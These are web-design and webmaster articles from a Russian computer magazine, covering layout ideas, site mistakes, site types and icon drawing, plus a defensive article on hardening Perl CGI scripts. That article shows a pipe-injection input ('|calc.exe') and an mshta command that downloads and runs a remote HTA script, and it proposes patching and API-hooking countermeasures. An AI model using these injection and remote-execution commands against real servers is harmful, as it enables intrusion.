|
Раздел "Веб-мастеру". Содержание:
Веб-мастеринг:
Практика web-дизайна. Часть вторая
Запретные вещи
Типология сайтов
Пиктограммы для сайта - это просто!
Веб-кодинг:
Защищаем PERL
Раскрутка:
Keywords - ключевой фактор успеха
Обмен ссылками: новые объявления
Раздел "Веб-мастеру". Веб-мастеринг:
 | Практика web-дизайна. Часть вторая |
|
Продолжение. Начало в AboutPC+ 11_2004 (34)
- "Так все материалы я собрал, можно приступить к созданию ресурса. Сразу открываю любимый редактор, и начинаю ваять. Слева сделал столбец, там будет меню, и под ним скорее всего список сайтов по обмену ссылками. Справа аналогичный столбец, там будет какая-нибудь информация, новости или опрос. В центре столбец с основной информацией, анонсы, релизы и т.д.. Сверху "шапка" там будет коллаж, его еще нужно будет придумать, а пока сделаю в "Фотошопе" завихрястым шрифтом, название моего сайта, нужно подумать, мммм…, о ! - "Варезно-рулезный портал" ! Класс! Вся информация разделена и обведена рамочками, сверху каждого раздела его название, дам его на крутом фоне ,типа 3D, градиент - само то. Где бы еще иконок всяких залепить? Вот тут - под коллажем, выделю еще одну строку. Как здорово получается! Может мне вэб-дизайном заняться? Я явно имею талант.
Так, сайт залит на сервер бесплатного, пока, хостинга; нужно теперь продемонстрировать его обществу, пусть все ахнут. На форум скорее, кто тут заценяется в соседних темах !!???? Не понял, как он смог украсть мой дизайн, я его только сделал ??? И в этой теме тоже самое, и тут, и тут. Аааааа!.."
Очнитесь, это был сон, всего - лишь страшный сон. Вы так крепко зажмурились с прошлой статьи, что, видимо, заснули. Пора за работу, и редактор нам для нее не понадобится - верстать сайт еще очень рано. Нам понадобится много листков бумаги (лучше согните лист пополам, это будет походить на экран компьютера в масштабе), карандаш, резинка и линейка. А чтоб ваш сон не стал явью, предлагаю поступить как в старом анекдоте про лысого мужика, который устав причесывать три волосинки, решил пойти лохматым. Я предлагаю немного "взлохматить" слишком строго причесанный дизайн.
Все что изложено ниже, это не четкие указания к действиям, скорее это попытка обрисовать ход мыслей, фантазии, воображения, основанной на множестве увиденных в сети примеров.
Первым делом уберем изрядное количество прямых линий, их и так слишком много на экране. Судите сами - края экрана, окно браузера, межстрочное расстояние визуально образует линию, края абзацев текста тоже. Уберем рамочку вокруг информационных блоков, и отделим их друг от друга одиночной линией - уже лучше. Теперь пробуем заменить сплошную линию на пунктирную - совсем другой вид. Но все равно прямые углы остались и режут глаз. Стираем ластиком эти углы, и тогда линии не стыкуются и не пересекаются - углы исчезли.
"Что-то мне это градиент в заголовках блоков уже перестал нравится" - и правильно! С заголовками можно поступить следующим образом:
- выделить -"жирным" или большим кеглем, сдвинуть влево, как в печатных изданиях;
- отделить горизонтальной чертой;
- дать на контрастном фоне;
- отметить иконкой или незамысловатым символом (кружком, стрелочкой, треугольником, квадратиком);
- в конце-концов, просто представить заголовок графически.
А почему бы нам вообще не выделить фоновым цветом некоторые блоки? Тогда необходимость в отделяющих линиях пропадет вовсе. Теперь сразу видно где меню, оно выделилось и можно его уже не называть "Меню", это и так видно. Но теперь снова обозначились прямые углы, от которых, мы старались избавится. Переключаем фантазию в положение "Level 2", добавим по углам четыре крошечные картинки, закругляющие углы, и некая стыковка ровных углов таблиц, опять будет визуально размыта. Дайте тень, и будет казаться, что блок информации приподнят над плоскостью страницы. Или сделайте эффект отогнутого уголка, и будет казаться, что это не табличка, а бумажка плохо приклеенная к экрану. Хотя нет, лучше не надо, этот прием настолько "заезжен". А если вообще каждый пункт в меню дать в виде рисованных кнопок или рисованном фоне - в этом случае их вид может быть ограничен лишь вашей собственной фантазией.
К примеру, на сайте "Гринфорда", измучившись вопросом - "как бы выделить меню?", я дал его на фоне фигуры навеянной мне логотипом.
- "Хмммм… Где-то я читал, что изрядное количество графики, сильно растянет время загрузки страницы. Но почему многие так делают? Ладно, так здорово получается, потом разберемся."
Что делать с меню типа "горизонтальный одноуровневый список"? Если вас не устраивает простая череда ссылок разделенная символом " | ", и не тянет рисовать кнопки, нарисуйте хотя бы разделитель, и тогда строка меню будет очень смахивать на меню из рисованных кнопок.
Есть еще один старый способ создания меню, он очень удобный и позволяет очень оригинально его оформить . Посмотрите на сайт http://zemfira.ru/, очень необычное меню, не так ли? Способ, с помощью которого оно сделано, называется "карта ссылок", у него есть свои плюсы и минусы, и в одной из следующих статей я расскажу, как это сделать.
Глаз продолжает мозолить прямоугольная "шапка" страницы, хочется что-то с ней сотворить. Не проблема. Самый простой способ визуально "сломать" прямоугольник - это слегка изогнуть его нижний край вовнутрь (арка). А если поэкспериментировать, то часть внутрь, часть наружу (волна, флаг) , сместить центр полукруга в сторону, добавить сторонних выпуклостей/вогнутостей и т.д., поле для фантазии безгранично, при - всем при - том, что картинка все равно останется прямоугольной, а там, где мы искривили, будет ее прозрачная часть. Более того, грамотно и красиво сделанный коллаж, уже может преобразить весь вид сайта. И правильно - взгляд человека двигается сверху вниз, справа налево, и первое что он видит - шапка страницы. В ней вы должны разместить наиболее значимые для ресурса элементы - логотип, адрес, слоган (девиз), меню, рекламу наконец. Все это должно гармонировать с окружающей "средой" (читай оформлением). То есть меню сервисов, к примеру, не должно выглядеть как забытая бирка магазина на дорогом костюме, а логотип не должен смотреться как пятно на неподходящем к нему фоне. Чтобы избежать этого, мы должны уже сейчас на макете прикинуть, где и что у нас будет располагаться, выделить соответствующие места.
Мы даже сможем покусится на такое "святое" место, как основной текст страницы. Попытаться немного "сломать" ровные ряды букв и слов, при этом, ничуть не мешая их читабельности можно, разместив под ним (дать фоном к столбцу) большущую практически сливающуюся с фоном картинку. Самое интересное, что "вес" такой картинки размером 700 х 900 пикселей не превышает 10 килобайт. Не верите?, прошу смотреть последнюю работу моего заочного учителя по дизайну Михаила Мельникова "Yuko-Travel - заметки путешественника".
Вы наверняка много раз видели, как некоторые элементы коллажа частично выходят за рамки картинки и не задавайтесь вопросом -"Как это сделать?", ибо я уже приготовил для вас ответ, в одной из следующих статей, но использовать этот прием, вы можете пока делаете наброски к своему творению.
Но тут главное не увлечься и не переборщить. В дизайне помимо красоты, информативности и удобство пользования сайтом (юзабилити), существует понятие стиля. Что есть стиль? Когда вы видите, что кто-то в рубашке и с галстуком, но в спортивных штанах и шлепанцах, идет по улице, это не стиль, просто мужик сбегал за хлебом, пока жена гладит ему брюки. Многие из смотренных мной сайтов, выглядят именно так, впечатление такое, что страница оформлена из взятых с других ресурсов элементов.
Стильный сайт это -
- единый тип шрифта для всех страниц, внешне совпадающий со шрифтом на графических элементах (лого, кнопки);
- грамотное разделение информации на блоки, и единый стиль их написания (имеется в виду формат абзацев, их выравнивание, межстрочное расстояние);
- ограниченная цветовая гамма, с основным, доминирующем цветом;
- единый графический стиль (графика выполненная с применением одинаковых инструментов и эффектов, с однотипной геометрией );
- единый графический стиль (графика выполненная с применением одинаковых инструментов и эффектов, с однотипной геометрией );
- легкая навигация по сайту, лаконично и понятно названные ссылки и разделы, присутствие пояснений к каждой ссылке (<a title="описание">), а также альтернативного текста к рисованным навигационным элементам;
Описывать все приемы оформления не представляется возможным, их сотни. Я лишь предпринял попытку направить ваши мысли, фантазию, по нужному пути, но чувствую, что ваши мозги начинают припудриваться. К сожалению, не у каждого рядом есть детина с надписью "Nuts", на майке, чтоб эту пыль стряхнуть. Я сделаю это сам в следующей статье, просто расскажу как делал конкретный сайт, как думал, чего рисовал. А пока еще несколько советов - посещайте грамотно и красиво сделанные сайты, лучше по тематике схожей с вашей, смотрите на элементы оформления, перенимайте, учитесь.
Также вам понадобится некоторое количество фотографий или рисунков ( запомните - или то, или другое, их смешение первый признак отсутствия стиля ), которые вы потом будете использовать в оформлении, и чем больше их будет, тем лучше. Где их взять? Я думал, что многие знают ответ, но я ошибался, чтож уделю этому несколько строк.
В отличие от профессиональных студий,где есть цифровые фотокамеры, хорошие сканнеры, целый штат художников, нам новичкам-одиночкам приходится действовать по принципу - "Я тебя слепила из того, что было". Единственное что у нас под рукой, это наш друг ПК, подключенный к сети, - воспользуемся им. А также некоторыми сервисами (хвала Матрице они еще бесплатны), а именно возможностью поисковиков в поиске изображений (картинок).
Не секрет,что большинство популярных поисковиков, помимо страниц сайтов, индексируют и хранят в своих базах графику используемую на этих сайтах, в виде миниатюр определенного размера. Индексация изображений происходит по альтернативным текстам к картинке (<img alt="описание">), поэтому не удивляйтесь, когда помимо нужных вам изображений будет появляться всякая "шелуха".
Совет - не ищите картинки по общим понятиям, конкретизируйте. К примеру, если ввести в поле слово "Футбол" результат будет мало удовлетворительным, но если вводить конкретику - "мяч, футбольное поле, футболисты,стадион", вы получите наиболее подходящие результаты.
В следующей статье вы поймете, почему я заговорил о футболе.
Продолжение следует...
 | Запретные вещи |
|
В этой статье я описываю те вещи, от которых вам предстоит отказаться для создания грамотного и действительно удобного сайта. Казалось бы, тема заданная мной, тривиальна, и об этом было написано сотни раз, на что я отвечу: "Да неужели?". Я пишу статьи о Web-дизайне, Web-мастеринге и раскрутке, почему же тогда многие из моих читателей не вникают в ту информацию, которую я несу? Меня просят оценить очередной фреймовый сайт с цветовой гаммой аля "Пестрый попугай" и ждут, что я начну восхищаться их творением и истекать слюной от зависти. Да никогда этого не будет и быть не может. Я к своему сайту отношусь очень критично и не считаю его даже неким подобием идеала, могу ли я превозносить то, что было сделано после очередной бутылки пива за несколько часов? Ежедневно, в поисках необходимой информации я (как и все мы) натыкаюсь на десятки и сотни личных страниц, сделанных то ли после ароматного косячка, то ли с большого бодуна. Эта статья предназанчена для тех, кто только начинает интересный путь в бескрайних морях Web-мастерства. Она должна предостеречь вас от ошибок и подводных камней, на которые натыкался я и все мы, пытаясь сделать что-то достойное.
1. Анимация - избитая тема. Никогда не используйте на сайтах бегущих строк (как на самой странице, так и в статусной строке), раздражающих и отвлекаюших внимание посетителя. Полностью от анимации отказываться не стоит (иначе, зачем ее изобретали? :), но здесь надо быть крайне осторожным.
2. Фоновые рисунки, которые отличаются высокой степенью яркости, рельефности и тем более анимированные бэкграунды. Это очень большие ошибки начинающих Web-мастеров. Фоновый рисунок не должен отвлекать внимание от основного текста, а лишь делать чтение оного, как можно более удобным. Ни в коем случае нельзя использовать на каждой странице сайта разные бэкграунды. Помните, что проект должен быть "сшит" по одной матрице.
3. Рисунки большого размера очень долго загружаются и тем самым доставляют неудобства посетителям вашего сайта. Если же их применение нельзя исключить, то оптимизируйте графику самым высоким методом сжатия, приемлемым в вашем случае. Небольшая потеря качества - это не трагедия, в отличие от потери посетителя, который, я вас уверяю, не станет дожидаться загрузки такого "тяжелого сайта" и уйдет со словами "придурки чертовы". (по крайней мере, я ухожу именно так :)
4. Скрипты, которые изменяют внешний вид броузера. Самая распространенная ошибка - изменение статусной строки. Изначально Web-мастеру дается только окно броузера, в котором и нужно показать всю свою профессиональность. Статусная строка - это та часть броузера, которая принадлежит только пользователю. Ее изменение крутизны вам не добавит, а большая часть посетителей на подсознательном уровне воспримет сей факт, как вторжение на их личную территорию. Подумайте, почему профессиональные дизайнеры избегают скриптов такого рода? Потому что не умеют? Едва ли...
5. Pop-up окна - тормозят загрузку сайта, заставляя посетителя ждать появления совершенно бесполезной рекламы. Очень незначительный процент пользователей обращает внимание на всплывающие окна, другие закрывают его при первой возможности. Здесь кроется психология человека, путешествуюшего в сети - закрывать те вещи, которые он не вызывал. Для коропоративных сайтов pop-up может сожлужить благую роль, если посетители проекта заинтересованы в той рекламе, которую несет окно. В подавляющем большинстве случаев pop-up окно вызывается в качестве платы за бесплатный хостинг или из желания автора сайта заработать WM.
6. Большое количество графики существенно увеличивает нагрузку на канал посетителей, подавляющее большинство которых не имеют хотя бы ADSL, используя стандартные модемы. Если графика ко всему прочему не была оптимизирована, то считайте, что посетитель потерян. В качестве оптимизатора я рекомендую использовать Image Ready, входящий в состав Adobe Photoshop.
7. Более 3 счетчиков посещений вызывают торможение загрузки сайта. Как правило для того, чтобы иметь полный отсчет о количестве посетителей, достаточно иметь 2 счетчика. Наиболее полную статистику предоставляет бесплатный сервис HotLog (http://hotlog.ru).
8. Перегруженность страницы баннерами - это еще один фактор, тормозящий загрузку проекта. Следите за качеством тех кнопок (или более масштабных баннеров), которые вы вешаете на свой сайт. Рекомендуется располагать не более 5 кнопок 88x31, размером не превышающим 15-20 Kb.
9. Кнопочная панель навигации, включающая в себя более 7 пунктов. Такое обилие разделов плохо усваивается посетителем, а кнопки, являющиеся графическими элементами, в большом количестве тормозят загрузку проекта. Следует учитывать и тот факт, что значительная часть посетителей сознательно отключает отображение графики в целях экономии времени. Такие пользователи не смогут увидеть вашу панель навигации. Есть только один выход - использовать атрибуты Alt="...".
10. Использование более 3-х основных цветов делает сайт слишком пестрым, неудобоваримым. Такие проекты сложны для восприятия и, как правило, не могут добиться относительной гармонии между всеми элементами страницы.
11. Создание сайта с помощью таких программ, как FrontPage или MS Word приводит к засорению исходного кода Web-страницы лишними тэгами. Этого мусора содержится, как правило, столько, что сей факт значительно влияет на длительность загрузки проекта.
12. Фреймы - самое последнее средство, с помощью которого можно добиться не более чем отвращения. Применение фреймов усложняет не только структуру сайта, но ко всему прочему тормозит загрузку и осложняет индексацию в поисковых системах. Сайт постоенный на фреймах, сколь красиво он бы не был оформлен - обречен. Единственным оправданием для фреймовой стукртуры является создание панелей навигации, что применимо исключительно для оффлайн-журналов.
13. Плагиат и копирование чужих материалов - верный путь к прекращению жизни вашего проекта и потере доброго имени. Информация по сети распространяется быстро, и совершив подобный поступок единожды, вы больше не сможете вознестить на постамент славы и признания.
14. Опечатки и уличный стиль изложения вызывает неприязнь и отвращение к проекту. Старайтесь следить за своими словами и проверять текст на ошибки хотя бы при помощи MS Word. А лучше дружить с грамматическим словарем :).
Это лишь основные положения, которые помогут вам избежать грубых ошибок при создании сайта. Помните, что навык приходит с опытом, и если ваш первый сайт получится, мягко говоря, не блистательным, то это не повод опускать руки.
 | Типология сайтов |
|
Выходя в глобальную сеть, мы загружаем броузер и начинаем путешествие по ее бескрайним просторам. В поисках нужной информации, мы ежедневно натыкаемся на десятки сайтов, и все они отличаются друг от друга качеством контента и дизайнерского оформления. Обычно мы не задумываемся о том, каковы отличия данного проекта от всех остальных, но если перед вами стоит цель "создать свой сайт", то тут уже необходимо пораскинуть мозгами. (Если их нет, то можно раскинуть чем-нибудь другим :)
В этой статье я опишу основные типы сайтов, с которыми нам приходится встречаться каждый день. Некоторым она поможет выбрать направление своего творения, другие же могут задуматься о том, что они имеют сейчас. Ниже расположен небольшой список, где приведены основные типы проектов, встречающихся в Сети.
- Личные страницы
- Некоммерческие сайты
- Контент-сайты
- Коммерческие сайты
Сравнительный анализ начнем с "Личных страниц", которые тоннами лежат на просторах рунета. Назначение таких сайтов, как правило - показать, что автор "крутой и в Web-мастеринге собаку съел". Это самый распространенный случай, хотя обычно такие мини-проекты создают для того, чтобы познакомить посетителя с автором какого-либо успешного (или не очень) сайта. В таком случае они переходят в разряд "визиток" и не несут информативной важности. Мы говорим "Личная страница", но следует отметить, что такие проекты чаще всего являются полноценным мелкокалиберным сайтом, сотоящим из небольшого количества документов. Если такой сайт начинает дополняться информацией, то рано или поздно он переходит в статус "некоммерческих" или "контент-сайтов".
Теперь поговорим о "некоммерческих проектах". К ним можно отнести сайты различных благотворительных фирм, которые созданы не для того, чтобы рубить деньги, а из иных целей. Высоким уровнем дизайна такие проекты чаще всего не отличаются, чтобы не создавать лишних затрат фирме, сделавшей сайт. Таких проектов встречается не так уж и много, ведь деньги нужны всем, а отдавать свои кровные ради добрых целей мало кому нравится.
Наибольшую информативную ценность несут "контент-сайты". К ним можно отнести различные архивы рефератов, статей, сочинений, книг и т.д. Такие проекты имеют, как правило, довольно высокую посещаемость и живут за счет рекламы. Особой выгоды она обычно не приносит, поэтому и дизайн "контент-проектов" чаще всего не отличается высоким уровнем. Это связано еще и с тем, что страница, наполненная дизайнерскими мелочами сверх меры создает неудобства при ознакомлении, да и обновлять такие сайты будет затруднительно.
Особую роль играют корпоративные или "коммерческие сайты". К ним относятся проекты созданные для получения прибыли. Дизайн таких сайтов имеет очень высокий уровень и это обусловлено рядом причин. Главной является то, что такой проект должен с первого взгляда привлекать потенциального клиента фирмы. Для создания корпоративных сайтов привлекаются дизайнерские студии, которые тоже имеют коммерческие сайты. Главные страницы этих проектов должны показывать стиль дизайн-студии, ее неповторимость и высокий уровень.
 | Пиктограммы для сайта - это просто! |
|
C момента публикации моей статьи "Разработка пиктограмм для веб-сайтов" (см. AboutPC #11_2004 (34)) прошло уже достаточное количество времени. За этот период мной было получено большое количество писем с отзывами и комментариями по этому материалу. Помимо обычных хвалебных сообщений и гневных выкриков в мой адрес приходили вполне обоснованные упреки в нераскрытии практической стороны затронутой мной темы. Т.е. читателю стало понятно, какие функции может выполнять пиктограмма на веб-сайте, как строить ассоциативные ряды и каким требованиям должны соответствовать веб-иконки. "А как нарисовать пиктограмму, зная все перечисленное выше?" - именно этот вопрос моих читателей и сподвигнул меня на написание нового материала по пиктограммам.
Прежде чем перейти непосредственно к технике рисования пиктограмм, хочется отметить, что, во-первых, данная статья затрагивает процесс разработки пиктограмм лишь поверхностно, во-вторых, материал рассчитан в первую очередь на начинающих дизайнеров.
Рабочий инструментарий
В рамках данной статьи мы рассмотрим процесс создания нескольких простых по реализации пиктограмм.
Для работы нам понадобится Adobe Photoshop (желательно не ниже версии 5.5) и развитое образное мышление. Если у вас отсутствует первое, то хорошим аналогом может послужить Ulead PhotoImpact, Corel PhotoPaint или JASC PaintShop. Отсутствие второго критично и сильно осложнит работу над созданием веб-иконки.
Примитивы
В области 3D-графики и ландшафтного проектирования есть термин "примитивы", обозначающий простейшие геометрические фигуры - эллипс, прямоугольник, треугольник и пр. В плане веб-пиктограмм также есть своеобразные "примитивные" (а точнее - имеющие тенденцию стать стереотипами) образы. Это то, что всегда на виду: конвертики и листы бумаги с карандашом ("Обратная связь"), домики ("Главная страница"), увеличительное стекло или бинокль ("Поиск на сайте") и т.п.
Конверт
Попробуем нарисовать конверт, к примеру, запечатанный. Закроем глаза и мысленно проследим за каждой линией, составляющей образ конверта. Если вы еще пишете бумажные письма, достаньте настоящий конверт и проделайте то же самое, но уже с открытыми глазами. Проследили? Запомнили? Отлично - тогда открываем Photoshop, создаем прозрачную заготовку размером 20х20 пикселей, устанавливаем масштаб 1600% и выбираем инструмент Pencil Tool (клавиша "B" или соответствующий значок на панели инструментов).
Далее при размере деления в 1 пиксель рисуем рамку.

Затем рисуем края конверта: верхний с нахлестом на нижний.

"Пустые" области внутри конверта можно выделить и заполнить градиентной заливкой.

В результате мы получаем вот такую иконку с изображением конверта 
Телевизор
На заготовке с теми же размерами (20х20 пикселей) рисуем рамку - основу нашего будущего телевизора - и заливаем градиентом (экран телевизора с имитацией блика).

Теперь придадим краям корпуса телевизора закругленности (удаление по 1 пикселю с каждого угла каркаса телевизора), добавим приставку с ножками и индикатором включения/выключения, а напоследок сверху прикрепим антенну. Старомодно, зато подчеркивает образ телевизора.

В результате, мы получаем вот такое изображение телевизора 
Чуть посложнее
Как видно из примеров, техника рисования достаточно проста, что обусловлено влиянием направления под названием "pixel art". Все объекты прорисованы попиксельно, без использования полутонов и закруглений. Попробуем усложнить задачу и нарисуем увеличительное стекло.
Увеличительное стекло
На заготовке размером 50х50 пикселей создаем круг и заливаем его цветом #2A77A8.

На новом слое рисуем второй круг с радиусом, меньшим на 2 пикселя, чем предыдущий круг (заливаем белым - #FFFFFF). Это у нас окантовка увеличительного стекла, его оправа.
Теперь создаем круг с радиусом на 1 пиксель меньше, чем второй круг с белой заливкой, и делаем поперечный градиент от #F2EFEF к #B0D2FA. Линза с эффектом блика в темной оправе у нас есть.

Осталось нарисовать ручку. Для этого на панели инструментов выбираем опцию автофигур (Custom Shape Tools), а в появившейся библиотеке векторных изображений - объект "Raindrop" ("капля").
Далее с помощью команды "Edit > Transform > Rotate" в главном меню поворачиваем фигуру до определения нужного ракурса. Градиент (от #367CAC к # 6892BF) плюс крепежная деталь, соединяющая ручку со стеклом в оправе - и наше увеличительное стекло готово!

А вот и результат в натуральную величину 
Для более детального знакомства с вышеприведенными примерами вы можете загрузить PSD-заготовки с несведенными слоями.
Заключение
Надеюсь, рассмотрение этих простых примеров поможет начинающим дизайнерам создавать свои собственные привлекательные и оригинальные пиктограммы, а не использовать ресурсы бесплатных библиотек клипартов и иконок. Представьте, как будет выглядеть образ будущей пиктограммы, проанализируйте каждую линию, каждый изгиб предмета, который хотите воспроизвести в графическом редакторе - и рисуйте. Ведь нарисовать пиктограммы для своего сайта - это действительно просто!
Раздел "Веб-мастеру". Веб-кодинг:
 | Защищаем PERL |
|
Уязвимые CGI-скрипты - замечательная лазейка в компьютерные системы. Можем ли мы "перекрыть" ее со 100% надежностью, раз и навсегда? В статье проанализированы достоинства и недостатки существующих подходов к защите Perl и предложен метод "принудительного лечения" его дистрибутива, радикально устраняющий саму возможность открытия и запуска "не тех" файлов.
Если вы программируете (или собираетесь программировать) Internet-приложения на языке Perl, то наверняка сталкивались с информацией, описывающей уязвимости этого языка для хакерских атак. Простейший скрипт, приведенный в любом учебнике по языку Perl, на поверку оказывается "широко открытыми воротами" для хакеров, как многоопытных, так и начинающих. Например, фрагмент кода, который просто выводит содержимое указанного файла
open(f,$filename);
while(<f>)
{
print;
}
на самом деле может выполнять и другие действия. Подайте на его вход строку "|calc.exe", и вы запустите на выполнение стандартный калькулятор. В запуске на удаленном сервере стандартных программ (таких как calc.exe или notepad.exe) мало смысла, если не знать про идеальную отмычку хакера - утилиту mshta.exe. Она входит в стандартную поставку Windows и позволяет легко и непринужденно закачивать в атакуемую систему и выполнять в ней произвольный код.
Например, выполнение в системе команды:
mshta.exe http://www.malware.com/foobar.hta
приведет к скачиванию на компьютер файла foobar.hta и исполнению его как скрипта VBS. Этот пример создает и запускает безвредное (по заверениям устроителей сайта malware.com) приложение для MS-DOS, показывающее стандартный алгоритм генерации пламени. Естественно, таким же способом можно закачать и выполнить в системе произвольный исполняемый файл, даже если его там еще нет.
Кому это нужно?
Мне хотелось бы развеять предубеждение некоторых системных администраторов, что взлом именно их сервера никому не нужен. Железный аргумент - ссылка на Неуловимого Джо ("не такая уж мы важная птица, чтобы нас ломать"). В действительности, взлом любого (произвольного) сервера может принести хакеру пользу, поскольку открывает ему новые замечательные возможности:
- Разослать с уязвимого сервера пару-тройку гигабайт почтового спама.
- Устроить на уязвимом сервере "варезятник" для нелицензионного софта, музыки и видео.
- Выполнить сложный и интересный математический расчет (обычно просчитывают криптографию, чтобы подобрать чей-то ключ, вовлекая в этот процесс - чтобы дело шло быстрее - множество взломанных машин).
- Взломать или "заглушить" мусорными запросами (атака "отказ в обслуживании") более важный сервер (например, сервер какого-нибудь банка или государственного учреждения).
Таким образом, уязвимые серверы, независимо от их важности, представляют опасность не меньшую, чем те люди, которые умеют использовать эти серверы по их прямому назначению. :-)
Почему Perl уязвим?
Рациональное объяснение, зачем функция open в Perl отрабатывает символ конвейера | как команду запустить программу на выполнение, дать сложно: Perl вообще довольно иррациональный (зато гибкий и компактный) язык. :-) Автор языка Perl Ларри Уолл в шутку расшифровывает его название как Patalogically Eclectic Rubbish Lister (Паталогически Эклектичный Мусорный Листер) - мы можем лишь пожелать, чтобы следующие его версии развивались в направлении большей безопасности, однозначности и безошибочности кода - столь необходимых качеств для общедоступных Internet-приложений. Безусловно, "патологичность", "эклектичность" и "мусорность" – это отрицательные черты, с которыми Ларри Уолл должен бороться. :-)
Фильтрация пользовательского ввода
В статьях о безопасном программировании на языке Perl можно встретить рекомендации фильтровать пользовательский ввод: в частности, удалять из полученных извне строк символы | и другие знаки, имеющие в Perl специальное значение. Например, следующая фильтрация ввода "обеззаразит" полученное извне имя файла от специальных и опасных символов.
if ($filename =~/[<>\|\-&\.\\\/\0]/)
{die "Недопустимый символ в имени файла \n";}
open(f, $filename);
Оцените, какое изобилие специальных значков - "крокозябликов" надо отфильтровать для простой функции открытия файла. Очевидно, что надо быть глубоким экспертом по языку Perl и очень внимательным человеком, чтобы правильно расставить все фильтры. Поскольку от человека, в отличие от железного лома, трудно требовать стопроцентной надежности, расставленные в разных местах программы "ловушки на крокозябликов" на практике могут не сработать.
Ограничение прав Web-сервера
Internet-сервер и все запущенные им приложения, так или иначе, контактирующие со всем внешним миром, не должны иметь права администратора или привилегированного пользователя. Назначить службе Web-сервера ограниченные права - очень надежный (и, наверное, единственно правильный) способ защитить свой сервер от атак извне.
При проектировании Internet-сайта необходимо с самого начала разбить его информационное содержимое на отдельные папки, где находятся:
- а) выполняемые скрипты и программы
- б) данные, предназначенные только для чтения (HTML-страницы)
- в) данные, предназначенные для изменения посетителями.
Пользователь, под именем которого будет запущен Internet-сервер, должен иметь доступ только к этим папкам, причем, на скрипты и данные надо наложить запрет записи (иначе хакер может слегка изменить внешний вид и функционирование вашего сайта), а на данные, предназначенные для изменения внешними пользователями - запрет выполнения (иначе он сможет создать и тут же выполнить в этой папке все что угодно). Этот вариант защиты теоретически "невскрываем" - но на практике у начинающего администратора возникнет ряд сложностей.
Так, в системе Windows web-сервер не запустится, если не открыть ему на доступ системные dll в папке c:\winnt\system32. А если их открыть, всему миру окажутся доступными замечательные программы наподобие regedt32.exe, mshta.exe и т.д. Можно, конечно, переписать на листочек список необходимых программе системных dll и открыть на доступ Internet-серверу только их. Но многие ли администраторы это делают (и надо ли им это?).
В Unix-подобных системах существуют свои трудности (одна из возможных проблем - закрытый 80 порт для процессов, не имеющих административных привилегий в системе).
В любом случае, этот метод защиты требует хорошей подготовки и высокой мотивации администратора системы, что указывает на фундаментальный недостаток такой защиты: ее нельзя установить принудительно, вместе с установкой защищаемой программы, и надежность компьютерной системы полностью зависит от надежности самого слабого ее звена – человеческого мозга.
"Лоботомия" Perl
Лоботомия - это операция по изменению личности путем повреждения лобных долей мозга, отвечающих за агрессию. Одно время эту операцию применяли по отношению к преступникам, чтобы уменьшить их опасность для общества. Хирург при помощи специального инструмента через глазницы достигал этой области мозга и легким постукиванием деревянным молоточком по рукоятке инструмента наносил необходимые повреждения (избыточная кровь и клеточная масса удалялись с помощью гибкого зонда).
Применять подобную операцию мы будем не к хакерам (в свое время ее признали бесчеловечной и антигуманной), а к бинарному дистрибутиву Perl, чтобы "отрубить" у него "агрессивную" реакцию на символ | ("конвейер").
Для этого мы отыщем в бинарном дистрибутиве Perl подстроку "cmd.exe" (вызов стандартной оболочки Windows NT/2000/XP). (Для Windows 9x имя стандартной оболочки - "command.com"). Нас интересуют файлы с расширением dll, где найдена эта строка. Если мы вызываем Perl запуском perl.exe, то нужная нам компонента - Perl56.dll (название может отличаться в зависимости от версии дистрибутива). Заменим каким-нибудь редактором (я использую встроенный редактор Far) подстроку cmd.exe на что-нибудь другое той же длины, например, sex.exe. Таким образом, символ "конвейера" окажется нерабочим, однако, мы сможем по-прежнему запускать приложения функцией system("ИмяПрограммы"). Так, согласитесь, хотя и менее компактно, зато гораздо безопаснее и менее агрессивно. :-)
Программа sex.exe должна выводить на стандартный вывод (stdout) какое-нибудь доброе и трогательное приветствие для хакера. Я надеюсь, что с ее созданием вы легко справитесь самостоятельно. :-).
Перехват системных вызовов
Мы предупредили не все опасности, подстерегающие Perl-программиста.
Давайте предположим, что мы хотим запретить интерпретатору Perl:
- запуск любых внешних программ (мудрое решение; ту же отсылку почты безусловно лучше выполнять стандартными функциями Perl - иначе "лоботомию", в той или иной степени, пришлось бы выполнять ко всем программам, которые мы запускаем)
- чтение файлов, если расширение не ".html"
- запись файлов, если расширение не ".user".
Получив такой дистрибутив Perl, даже ... скажем так, не совсем грамотный Web-программист (требовать иного от живых людей мы не только не вправе, но и не в состоянии) будет чувствовать себя комфортно и, самое главное, сухо.
Роль "защитной прокладки" в данном случае выполнит специальная dll, которая перехватит указанные нами системные вызовы и, при необходимости, их заблокирует.
В случае Perl нам необходимо перехватывать системную функцию CreateProcessA (запуск приложения) из библиотеки KERNEL32.dll, а также функцию fopen (открытие файла на чтение или на запись) из библиотеки MSVCRT.dll.
Мы будем использовать системные функции Windows GetProcAddress и GetModuleHandle, чтобы получить адреса функций для перехвата, ImageDirectoryEntryToData - чтобы получить адрес начала таблицы импорта, и функции VirtualProtect и WriteProcessMemory, чтобы внести изменения в эту таблицу.
Опираясь на эти ключевые слова, вы можете отыскать в Internet готовое решение, либо написать приложение-"перехватчик" самостоятельно. Получившийся у меня результат перехвата (я использовал компилятор Delphi, поскольку для языка C примеров можно найти достаточно) вы можете скачать здесь.
Внедрение защитной DLL
Технология динамически компонуемых библиотек (DLL) существенно облегчает модификацию Windows-приложений (закрытый исходный код компенсируется тем, что все названия функций и точки их входа не только хорошо видны, но и доступны для изменения). Чтобы "пристыковать" dll в адресное пространство процесса, я использую метод подмены DLL (есть и другие методы, этот в данном случае, пожалуй, самый простой). Для этого я захожу ... правильно, текстовым редактором в исполняемый файл Perl.exe и исправляю подстроку Perl56.dll на romix1.dll (так мы назовем нашу защитную компоненту).
Пробую запускать Perl.exe. Конечно же, Perl пишет, что не найдена необходимая библиотека romix1.dll. Ну что же, создадим ее. Для этого скомпилируем программу из трех строк на Delphi, назвав ее romix1.dpr:
library romix1;
begin
end.
Этого недостаточно: теперь Perl при запуске выдает ошибку:
"Perl.exe связан с отсутствующим компонентом Romix1.dll:RunPerl".
Perl импортирует единственную функцию RunPerl из этой библиотеки, и мы ее сейчас создадим (наша "подделка" будет просто передавать управление на "оригинал"):
library romix1;
procedure RunPerlOrig; external 'Perl56.dll' name 'RunPerl';
//Это оригинальная функция RunPerl из библиотеки Perl56.dll.
procedure RunPerl; export; stdcall;
//Перехватчик функции RunPerl
begin
asm
jmp RunPerlOrig; //Делаем переход (jump)
end;
end;
exports RunPerl;
begin
end.
